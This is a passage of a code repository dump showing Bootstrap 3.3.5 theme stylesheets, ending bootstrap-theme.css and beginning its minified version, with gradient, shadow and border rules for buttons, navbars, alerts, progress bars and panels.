| background-image: -webkit-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%); 321 | background-image: -o-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%); 322 | background-image: -webkit-gradient(linear, left top, left bottom, from(#f5f5f5), to(#e8e8e8)); 323 | background-image: linear-gradient(to bottom, #f5f5f5 0%, #e8e8e8 100%); 324 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0); 325 | background-repeat: repeat-x; 326 | } 327 | .dropdown-menu > .active > a, 328 | .dropdown-menu > .active > a:hover, 329 | .dropdown-menu > .active > a:focus { 330 | background-color: #2e6da4; 331 | background-image: -webkit-linear-gradient(top, #337ab7 0%, #2e6da4 100%); 332 | background-image: -o-linear-gradient(top, #337ab7 0%, #2e6da4 100%); 333 | background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#2e6da4)); 334 | background-image: linear-gradient(to bottom, #337ab7 0%, #2e6da4 100%); 335 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0); 336 | background-repeat: repeat-x; 337 | } 338 | .navbar-default { 339 | background-image: -webkit-linear-gradient(top, #fff 0%, #f8f8f8 100%); 340 | background-image: -o-linear-gradient(top, #fff 0%, #f8f8f8 100%); 341 | background-image: -webkit-gradient(linear, left top, left bottom, from(#fff), to(#f8f8f8)); 342 | background-image: linear-gradient(to bottom, #fff 0%, #f8f8f8 100%); 343 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#fff8f8f8', GradientType=0); 344 | filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); 345 | background-repeat: repeat-x; 346 | border-radius: 4px; 347 | -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .15), 0 1px 5px rgba(0, 0, 0, .075); 348 | box-shadow: inset 0 1px 0 rgba(255, 255, 255, .15), 0 1px 5px rgba(0, 0, 0, .075); 349 | } 350 | .navbar-default .navbar-nav > .open > a, 351 | .navbar-default .navbar-nav > .active > a { 352 | background-image: -webkit-linear-gradient(top, #dbdbdb 0%, #e2e2e2 100%); 353 | background-image: -o-linear-gradient(top, #dbdbdb 0%, #e2e2e2 100%); 354 | background-image: -webkit-gradient(linear, left top, left bottom, from(#dbdbdb), to(#e2e2e2)); 355 | background-image: linear-gradient(to bottom, #dbdbdb 0%, #e2e2e2 100%); 356 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdbdbdb', endColorstr='#ffe2e2e2', GradientType=0); 357 | background-repeat: repeat-x; 358 | -webkit-box-shadow: inset 0 3px 9px rgba(0, 0, 0, .075); 359 | box-shadow: inset 0 3px 9px rgba(0, 0, 0, .075); 360 | } 361 | .navbar-brand, 362 | .navbar-nav > li > a { 363 | text-shadow: 0 1px 0 rgba(255, 255, 255, .25); 364 | } 365 | .navbar-inverse { 366 | background-image: -webkit-linear-gradient(top, #3c3c3c 0%, #222 100%); 367 | background-image: -o-linear-gradient(top, #3c3c3c 0%, #222 100%); 368 | background-image: -webkit-gradient(linear, left top, left bottom, from(#3c3c3c), to(#222)); 369 | background-image: linear-gradient(to bottom, #3c3c3c 0%, #222 100%); 370 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff3c3c3c', endColorstr='#ff222222', GradientType=0); 371 | filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); 372 | background-repeat: repeat-x; 373 | border-radius: 4px; 374 | } 375 | .navbar-inverse .navbar-nav > .open > a, 376 | .navbar-inverse .navbar-nav > .active > a { 377 | background-image: -webkit-linear-gradient(top, #080808 0%, #0f0f0f 100%); 378 | background-image: -o-linear-gradient(top, #080808 0%, #0f0f0f 100%); 379 | background-image: -webkit-gradient(linear, left top, left bottom, from(#080808), to(#0f0f0f)); 380 | background-image: linear-gradient(to bottom, #080808 0%, #0f0f0f 100%); 381 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff080808', endColorstr='#ff0f0f0f', GradientType=0); 382 | background-repeat: repeat-x; 383 | -webkit-box-shadow: inset 0 3px 9px rgba(0, 0, 0, .25); 384 | box-shadow: inset 0 3px 9px rgba(0, 0, 0, .25); 385 | } 386 | .navbar-inverse .navbar-brand, 387 | .navbar-inverse .navbar-nav > li > a { 388 | text-shadow: 0 -1px 0 rgba(0, 0, 0, .25); 389 | } 390 | .navbar-static-top, 391 | .navbar-fixed-top, 392 | .navbar-fixed-bottom { 393 | border-radius: 0; 394 | } 395 | @media (max-width: 767px) { 396 | .navbar .navbar-nav .open .dropdown-menu > .active > a, 397 | .navbar .navbar-nav .open .dropdown-menu > .active > a:hover, 398 | .navbar .navbar-nav .open .dropdown-menu > .active > a:focus { 399 | color: #fff; 400 | background-image: -webkit-linear-gradient(top, #337ab7 0%, #2e6da4 100%); 401 | background-image: -o-linear-gradient(top, #337ab7 0%, #2e6da4 100%); 402 | background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#2e6da4)); 403 | background-image: linear-gradient(to bottom, #337ab7 0%, #2e6da4 100%); 404 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0); 405 | background-repeat: repeat-x; 406 | } 407 | } 408 | .alert { 409 | text-shadow: 0 1px 0 rgba(255, 255, 255, .2); 410 | -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .25), 0 1px 2px rgba(0, 0, 0, .05); 411 | box-shadow: inset 0 1px 0 rgba(255, 255, 255, .25), 0 1px 2px rgba(0, 0, 0, .05); 412 | } 413 | .alert-success { 414 | background-image: -webkit-linear-gradient(top, #dff0d8 0%, #c8e5bc 100%); 415 | background-image: -o-linear-gradient(top, #dff0d8 0%, #c8e5bc 100%); 416 | background-image: -webkit-gradient(linear, left top, left bottom, from(#dff0d8), to(#c8e5bc)); 417 | background-image: linear-gradient(to bottom, #dff0d8 0%, #c8e5bc 100%); 418 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffc8e5bc', GradientType=0); 419 | background-repeat: repeat-x; 420 | border-color: #b2dba1; 421 | } 422 | .alert-info { 423 | background-image: -webkit-linear-gradient(top, #d9edf7 0%, #b9def0 100%); 424 | background-image: -o-linear-gradient(top, #d9edf7 0%, #b9def0 100%); 425 | background-image: -webkit-gradient(linear, left top, left bottom, from(#d9edf7), to(#b9def0)); 426 | background-image: linear-gradient(to bottom, #d9edf7 0%, #b9def0 100%); 427 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffb9def0', GradientType=0); 428 | background-repeat: repeat-x; 429 | border-color: #9acfea; 430 | } 431 | .alert-warning { 432 | background-image: -webkit-linear-gradient(top, #fcf8e3 0%, #f8efc0 100%); 433 | background-image: -o-linear-gradient(top, #fcf8e3 0%, #f8efc0 100%); 434 | background-image: -webkit-gradient(linear, left top, left bottom, from(#fcf8e3), to(#f8efc0)); 435 | background-image: linear-gradient(to bottom, #fcf8e3 0%, #f8efc0 100%); 436 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fff8efc0', GradientType=0); 437 | background-repeat: repeat-x; 438 | border-color: #f5e79e; 439 | } 440 | .alert-danger { 441 | background-image: -webkit-linear-gradient(top, #f2dede 0%, #e7c3c3 100%); 442 | background-image: -o-linear-gradient(top, #f2dede 0%, #e7c3c3 100%); 443 | background-image: -webkit-gradient(linear, left top, left bottom, from(#f2dede), to(#e7c3c3)); 444 | background-image: linear-gradient(to bottom, #f2dede 0%, #e7c3c3 100%); 445 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffe7c3c3', GradientType=0); 446 | background-repeat: repeat-x; 447 | border-color: #dca7a7; 448 | } 449 | .progress { 450 | background-image: -webkit-linear-gradient(top, #ebebeb 0%, #f5f5f5 100%); 451 | background-image: -o-linear-gradient(top, #ebebeb 0%, #f5f5f5 100%); 452 | background-image: -webkit-gradient(linear, left top, left bottom, from(#ebebeb), to(#f5f5f5)); 453 | background-image: linear-gradient(to bottom, #ebebeb 0%, #f5f5f5 100%); 454 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffebebeb', endColorstr='#fff5f5f5', GradientType=0); 455 | background-repeat: repeat-x; 456 | } 457 | .progress-bar { 458 | background-image: -webkit-linear-gradient(top, #337ab7 0%, #286090 100%); 459 | background-image: -o-linear-gradient(top, #337ab7 0%, #286090 100%); 460 | background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#286090)); 461 | background-image: linear-gradient(to bottom, #337ab7 0%, #286090 100%); 462 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff286090', GradientType=0); 463 | background-repeat: repeat-x; 464 | } 465 | .progress-bar-success { 466 | background-image: -webkit-linear-gradient(top, #5cb85c 0%, #449d44 100%); 467 | background-image: -o-linear-gradient(top, #5cb85c 0%, #449d44 100%); 468 | background-image: -webkit-gradient(linear, left top, left bottom, from(#5cb85c), to(#449d44)); 469 | background-image: linear-gradient(to bottom, #5cb85c 0%, #449d44 100%); 470 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff449d44', GradientType=0); 471 | background-repeat: repeat-x; 472 | } 473 | .progress-bar-info { 474 | background-image: -webkit-linear-gradient(top, #5bc0de 0%, #31b0d5 100%); 475 | background-image: -o-linear-gradient(top, #5bc0de 0%, #31b0d5 100%); 476 | background-image: -webkit-gradient(linear, left top, left bottom, from(#5bc0de), to(#31b0d5)); 477 | background-image: linear-gradient(to bottom, #5bc0de 0%, #31b0d5 100%); 478 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff31b0d5', GradientType=0); 479 | background-repeat: repeat-x; 480 | } 481 | .progress-bar-warning { 482 | background-image: -webkit-linear-gradient(top, #f0ad4e 0%, #ec971f 100%); 483 | background-image: -o-linear-gradient(top, #f0ad4e 0%, #ec971f 100%); 484 | background-image: -webkit-gradient(linear, left top, left bottom, from(#f0ad4e), to(#ec971f)); 485 | background-image: linear-gradient(to bottom, #f0ad4e 0%, #ec971f 100%); 486 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffec971f', GradientType=0); 487 | background-repeat: repeat-x; 488 | } 489 | .progress-bar-danger { 490 | background-image: -webkit-linear-gradient(top, #d9534f 0%, #c9302c 100%); 491 | background-image: -o-linear-gradient(top, #d9534f 0%, #c9302c 100%); 492 | background-image: -webkit-gradient(linear, left top, left bottom, from(#d9534f), to(#c9302c)); 493 | background-image: linear-gradient(to bottom, #d9534f 0%, #c9302c 100%); 494 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc9302c', GradientType=0); 495 | background-repeat: repeat-x; 496 | } 497 | .progress-bar-striped { 498 | background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); 499 | background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); 500 | background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); 501 | } 502 | .list-group { 503 | border-radius: 4px; 504 | -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, .075); 505 | box-shadow: 0 1px 2px rgba(0, 0, 0, .075); 506 | } 507 | .list-group-item.active, 508 | .list-group-item.active:hover, 509 | .list-group-item.active:focus { 510 | text-shadow: 0 -1px 0 #286090; 511 | background-image: -webkit-linear-gradient(top, #337ab7 0%, #2b669a 100%); 512 | background-image: -o-linear-gradient(top, #337ab7 0%, #2b669a 100%); 513 | background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#2b669a)); 514 | background-image: linear-gradient(to bottom, #337ab7 0%, #2b669a 100%); 515 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2b669a', GradientType=0); 516 | background-repeat: repeat-x; 517 | border-color: #2b669a; 518 | } 519 | .list-group-item.active .badge, 520 | .list-group-item.active:hover .badge, 521 | .list-group-item.active:focus .badge { 522 | text-shadow: none; 523 | } 524 | .panel { 525 | -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, .05); 526 | box-shadow: 0 1px 2px rgba(0, 0, 0, .05); 527 | } 528 | .panel-default > .panel-heading { 529 | background-image: -webkit-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%); 530 | background-image: -o-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%); 531 | background-image: -webkit-gradient(linear, left top, left bottom, from(#f5f5f5), to(#e8e8e8)); 532 | background-image: linear-gradient(to bottom, #f5f5f5 0%, #e8e8e8 100%); 533 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0); 534 | background-repeat: repeat-x; 535 | } 536 | .panel-primary > .panel-heading { 537 | background-image: -webkit-linear-gradient(top, #337ab7 0%, #2e6da4 100%); 538 | background-image: -o-linear-gradient(top, #337ab7 0%, #2e6da4 100%); 539 | background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#2e6da4)); 540 | background-image: linear-gradient(to bottom, #337ab7 0%, #2e6da4 100%); 541 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0); 542 | background-repeat: repeat-x; 543 | } 544 | .panel-success > .panel-heading { 545 | background-image: -webkit-linear-gradient(top, #dff0d8 0%, #d0e9c6 100%); 546 | background-image: -o-linear-gradient(top, #dff0d8 0%, #d0e9c6 100%); 547 | background-image: -webkit-gradient(linear, left top, left bottom, from(#dff0d8), to(#d0e9c6)); 548 | background-image: linear-gradient(to bottom, #dff0d8 0%, #d0e9c6 100%); 549 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffd0e9c6', GradientType=0); 550 | background-repeat: repeat-x; 551 | } 552 | .panel-info > .panel-heading { 553 | background-image: -webkit-linear-gradient(top, #d9edf7 0%, #c4e3f3 100%); 554 | background-image: -o-linear-gradient(top, #d9edf7 0%, #c4e3f3 100%); 555 | background-image: -webkit-gradient(linear, left top, left bottom, from(#d9edf7), to(#c4e3f3)); 556 | background-image: linear-gradient(to bottom, #d9edf7 0%, #c4e3f3 100%); 557 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffc4e3f3', GradientType=0); 558 | background-repeat: repeat-x; 559 | } 560 | .panel-warning > .panel-heading { 561 | background-image: -webkit-linear-gradient(top, #fcf8e3 0%, #faf2cc 100%); 562 | background-image: -o-linear-gradient(top, #fcf8e3 0%, #faf2cc 100%); 563 | background-image: -webkit-gradient(linear, left top, left bottom, from(#fcf8e3), to(#faf2cc)); 564 | background-image: linear-gradient(to bottom, #fcf8e3 0%, #faf2cc 100%); 565 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fffaf2cc', GradientType=0); 566 | background-repeat: repeat-x; 567 | } 568 | .panel-danger > .panel-heading { 569 | background-image: -webkit-linear-gradient(top, #f2dede 0%, #ebcccc 100%); 570 | background-image: -o-linear-gradient(top, #f2dede 0%, #ebcccc 100%); 571 | background-image: -webkit-gradient(linear, left top, left bottom, from(#f2dede), to(#ebcccc)); 572 | background-image: linear-gradient(to bottom, #f2dede 0%, #ebcccc 100%); 573 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffebcccc', GradientType=0); 574 | background-repeat: repeat-x; 575 | } 576 | .well { 577 | background-image: -webkit-linear-gradient(top, #e8e8e8 0%, #f5f5f5 100%); 578 | background-image: -o-linear-gradient(top, #e8e8e8 0%, #f5f5f5 100%); 579 | background-image: -webkit-gradient(linear, left top, left bottom, from(#e8e8e8), to(#f5f5f5)); 580 | background-image: linear-gradient(to bottom, #e8e8e8 0%, #f5f5f5 100%); 581 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffe8e8e8', endColorstr='#fff5f5f5', GradientType=0); 582 | background-repeat: repeat-x; 583 | border-color: #dcdcdc; 584 | -webkit-box-shadow: inset 0 1px 3px rgba(0, 0, 0, .05), 0 1px 0 rgba(255, 255, 255, .1); 585 | box-shadow: inset 0 1px 3px rgba(0, 0, 0, .05), 0 1px 0 rgba(255, 255, 255, .1); 586 | } 587 | /*# sourceMappingURL=bootstrap-theme.css.map */ 588 | -------------------------------------------------------------------------------- /server/static/css/bootstrap-theme.min.css: -------------------------------------------------------------------------------- 1 | /*! 2 | * Bootstrap v3.3.5 (http://getbootstrap.com) 3 | * Copyright 2011-2015 Twitter, Inc. 4 | * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) 5 | */.btn-danger,.btn-default,.btn-info,.btn-primary,.btn-success,.btn-warning{text-shadow:0 -1px 0 rgba(0,0,0,.2);-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.15),0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 0 rgba(255,255,255,.15),0 1px 1px rgba(0,0,0,.075)}.btn-danger.active,.btn-danger:active,.btn-default.active,.btn-default:active,.btn-info.active,.btn-info:active,.btn-primary.active,.btn-primary:active,.btn-success.active,.btn-success:active,.btn-warning.active,.btn-warning:active{-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);box-shadow:inset 0 3px 5px rgba(0,0,0,.125)}.btn-danger.disabled,.btn-danger[disabled],.btn-default.disabled,.btn-default[disabled],.btn-info.disabled,.btn-info[disabled],.btn-primary.disabled,.btn-primary[disabled],.btn-success.disabled,.btn-success[disabled],.btn-warning.disabled,.btn-warning[disabled],fieldset[disabled] .btn-danger,fieldset[disabled] .btn-default,fieldset[disabled] .btn-info,fieldset[disabled] .btn-primary,fieldset[disabled] .btn-success,fieldset[disabled] .btn-warning{-webkit-box-shadow:none;box-shadow:none}.btn-danger .badge,.btn-default .badge,.btn-info .badge,.btn-primary .badge,.btn-success .badge,.btn-warning .badge{text-shadow:none}.btn.active,.btn:active{background-image:none}.btn-default{text-shadow:0 1px 0 #fff;background-image:-webkit-linear-gradient(top,#fff 0,#e0e0e0 100%);background-image:-o-linear-gradient(top,#fff 0,#e0e0e0 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e0e0e0));background-image:linear-gradient(to bottom,#fff 0,#e0e0e0 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#ffe0e0e0', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#dbdbdb;border-color:#ccc}.btn-default:focus,.btn-default:hover{background-color:#e0e0e0;background-position:0 -15px}.btn-default.active,.btn-default:active{background-color:#e0e0e0;border-color:#dbdbdb}.btn-default.disabled,.btn-default.disabled.active,.btn-default.disabled.focus,.btn-default.disabled:active,.btn-default.disabled:focus,.btn-default.disabled:hover,.btn-default[disabled],.btn-default[disabled].active,.btn-default[disabled].focus,.btn-default[disabled]:active,.btn-default[disabled]:focus,.btn-default[disabled]:hover,fieldset[disabled] .btn-default,fieldset[disabled] .btn-default.active,fieldset[disabled] .btn-default.focus,fieldset[disabled] .btn-default:active,fieldset[disabled] .btn-default:focus,fieldset[disabled] .btn-default:hover{background-color:#e0e0e0;background-image:none}.btn-primary{background-image:-webkit-linear-gradient(top,#337ab7 0,#265a88 100%);background-image:-o-linear-gradient(top,#337ab7 0,#265a88 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#265a88));background-image:linear-gradient(to bottom,#337ab7 0,#265a88 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff265a88', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#245580}.btn-primary:focus,.btn-primary:hover{background-color:#265a88;background-position:0 -15px}.btn-primary.active,.btn-primary:active{background-color:#265a88;border-color:#245580}.btn-primary.disabled,.btn-primary.disabled.active,.btn-primary.disabled.focus,.btn-primary.disabled:active,.btn-primary.disabled:focus,.btn-primary.disabled:hover,.btn-primary[disabled],.btn-primary[disabled].active,.btn-primary[disabled].focus,.btn-primary[disabled]:active,.btn-primary[disabled]:focus,.btn-primary[disabled]:hover,fieldset[disabled] .btn-primary,fieldset[disabled] .btn-primary.active,fieldset[disabled] .btn-primary.focus,fieldset[disabled] .btn-primary:active,fieldset[disabled] .btn-primary:focus,fieldset[disabled] .btn-primary:hover{background-color:#265a88;background-image:none}.btn-success{background-image:-webkit-linear-gradient(top,#5cb85c 0,#419641 100%);background-image:-o-linear-gradient(top,#5cb85c 0,#419641 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#5cb85c),to(#419641));background-image:linear-gradient(to bottom,#5cb85c 0,#419641 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff419641', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#3e8f3e}.btn-success:focus,.btn-success:hover{background-color:#419641;background-position:0 -15px}.btn-success.active,.btn-success:active{background-color:#419641;border-color:#3e8f3e}.btn-success.disabled,.btn-success.disabled.active,.btn-success.disabled.focus,.btn-success.disabled:active,.btn-success.disabled:focus,.btn-success.disabled:hover,.btn-success[disabled],.btn-success[disabled].active,.btn-success[disabled].focus,.btn-success[disabled]:active,.btn-success[disabled]:focus,.btn-success[disabled]:hover,fieldset[disabled] .btn-success,fieldset[disabled] .btn-success.active,fieldset[disabled] .btn-success.focus,fieldset[disabled] .btn-success:active,fieldset[disabled] .btn-success:focus,fieldset[disabled] .btn-success:hover{background-color:#419641;background-image:none}.btn-info{background-image:-webkit-linear-gradient(top,#5bc0de 0,#2aabd2 100%);background-image:-o-linear-gradient(top,#5bc0de 0,#2aabd2 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#5bc0de),to(#2aabd2));background-image:linear-gradient(to bottom,#5bc0de 0,#2aabd2 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff2aabd2', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#28a4c9}.btn-info:focus,.btn-info:hover{background-color:#2aabd2;background-position:0 -15px}.btn-info.active,.btn-info:active{background-color:#2aabd2;border-color:#28a4c9}.btn-info.disabled,.btn-info.disabled.active,.btn-info.disabled.focus,.btn-info.disabled:active,.btn-info.disabled:focus,.btn-info.disabled:hover,.btn-info[disabled],.btn-info[disabled].active,.btn-info[disabled].focus,.btn-info[disabled]:active,.btn-info[disabled]:focus,.btn-info[disabled]:hover,fieldset[disabled] .btn-info,fieldset[disabled] .btn-info.active,fieldset[disabled] .btn-info.focus,fieldset[disabled] .btn-info:active,fieldset[disabled] .btn-info:focus,fieldset[disabled] .btn-info:hover{background-color:#2aabd2;background-image:none}.btn-warning{background-image:-webkit-linear-gradient(top,#f0ad4e 0,#eb9316 100%);background-image:-o-linear-gradient(top,#f0ad4e 0,#eb9316 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f0ad4e),to(#eb9316));background-image:linear-gradient(to bottom,#f0ad4e 0,#eb9316 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffeb9316', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#e38d13}.btn-warning:focus,.btn-warning:hover{background-color:#eb9316;background-position:0 -15px}.btn-warning.active,.btn-warning:active{background-color:#eb9316;border-color:#e38d13}.btn-warning.disabled,.btn-warning.disabled.active,.btn-warning.disabled.focus,.btn-warning.disabled:active,.btn-warning.disabled:focus,.btn-warning.disabled:hover,.btn-warning[disabled],.btn-warning[disabled].active,.btn-warning[disabled].focus,.btn-warning[disabled]:active,.btn-warning[disabled]:focus,.btn-warning[disabled]:hover,fieldset[disabled] .btn-warning,fieldset[disabled] .btn-warning.active,fieldset[disabled] .btn-warning.focus,fieldset[disabled] .btn-warning:active,fieldset[disabled] .btn-warning:focus,fieldset[disabled] .btn-warning:hover{background-color:#eb9316;background-image:none}.btn-danger{background-image:-webkit-linear-gradient(top,#d9534f 0,#c12e2a 100%);background-image:-o-linear-gradient(top,#d9534f 0,#c12e2a 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#d9534f),to(#c12e2a));background-image:linear-gradient(to bottom,#d9534f 0,#c12e2a 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc12e2a', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#b92c28}.btn-danger:focus,.btn-danger:hover{background-color:#c12e2a;background-position:0 -15px}.btn-danger.active,.btn-danger:active{background-color:#c12e2a;border-color:#b92c28}.btn-danger.disabled,.btn-danger.disabled.active,.btn-danger.disabled.focus,.btn-danger.disabled:active,.btn-danger.disabled:focus,.btn-danger.disabled:hover,.btn-danger[disabled],.btn-danger[disabled].active,.btn-danger[disabled].focus,.btn-danger[disabled]:active,.btn-danger[disabled]:focus,.btn-danger[disabled]:hover,fieldset[disabled] .btn-danger,fieldset[disabled] .btn-danger.active,fieldset[disabled] .btn-danger.focus,fieldset[disabled] .btn-danger:active,fieldset[disabled] .btn-danger:focus,fieldset[disabled] .btn-danger:hover{background-color:#c12e2a;background-image:none}.img-thumbnail,.thumbnail{-webkit-box-shadow:0 1px 2px rgba(0,0,0,.075);box-shadow:0 1px 2px rgba(0,0,0,.075)}.dropdown-menu>li>a:focus,.dropdown-menu>li>a:hover{background-color:#e8e8e8;background-image:-webkit-linear-gradient(top,#f5f5f5 0,#e8e8e8 100%);background-image:-o-linear-gradient(top,#f5f5f5 0,#e8e8e8 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#e8e8e8));background-image:linear-gradient(to bottom,#f5f5f5 0,#e8e8e8 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0);background-repeat:repeat-x}.dropdown-menu>.active>a,.dropdown-menu>.active>a:focus,.dropdown-menu>.active>a:hover{background-color:#2e6da4;background-image:-webkit-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-o-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#2e6da4));background-image:linear-gradient(to bottom,#337ab7 0,#2e6da4 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);background-repeat:repeat-x}.navbar-default{background-image:-webkit-linear-gradient(top,#fff 0,#f8f8f8 100%);background-image:-o-linear-gradient(top,#fff 0,#f8f8f8 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#f8f8f8));background-image:linear-gradient(to bottom,#fff 0,#f8f8f8 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#fff8f8f8', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-radius:4px;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.15),0 1px 5px rgba(0,0,0,.075);box-shadow:inset 0 1px 0 rgba(255,255,255,.15),0 1px 5px rgba(0,0,0,.075)}.navbar-default .navbar-nav>.active>a,.navbar-default .navbar-nav>.open>a{background-image:-webkit-linear-gradient(top,#dbdbdb 0,#e2e2e2 100%);background-image:-o-linear-gradient(top,#dbdbdb 0,#e2e2e2 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#dbdbdb),to(#e2e2e2));background-image:linear-gradient(to bottom,#dbdbdb 0,#e2e2e2 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdbdbdb', endColorstr='#ffe2e2e2', GradientType=0);background-repeat:repeat-x;-webkit-box-shadow:inset 0 3px 9px rgba(0,0,0,.075);box-shadow:inset 0 3px 9px rgba(0,0,0,.075)}.navbar-brand,.navbar-nav>li>a{text-shadow:0 1px 0 rgba(255,255,255,.25)}.navbar-inverse{background-image:-webkit-linear-gradient(top,#3c3c3c 0,#222 100%);background-image:-o-linear-gradient(top,#3c3c3c 0,#222 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#3c3c3c),to(#222));background-image:linear-gradient(to bottom,#3c3c3c 0,#222 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff3c3c3c', endColorstr='#ff222222', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-radius:4px}.navbar-inverse .navbar-nav>.active>a,.navbar-inverse .navbar-nav>.open>a{background-image:-webkit-linear-gradient(top,#080808 0,#0f0f0f 100%);background-image:-o-linear-gradient(top,#080808 0,#0f0f0f 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#080808),to(#0f0f0f));background-image:linear-gradient(to bottom,#080808 0,#0f0f0f 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff080808', endColorstr='#ff0f0f0f', GradientType=0);background-repeat:repeat-x;-webkit-box-shadow:inset 0 3px 9px rgba(0,0,0,.25);box-shadow:inset 0 3px 9px rgba(0,0,0,.25)}.navbar-inverse 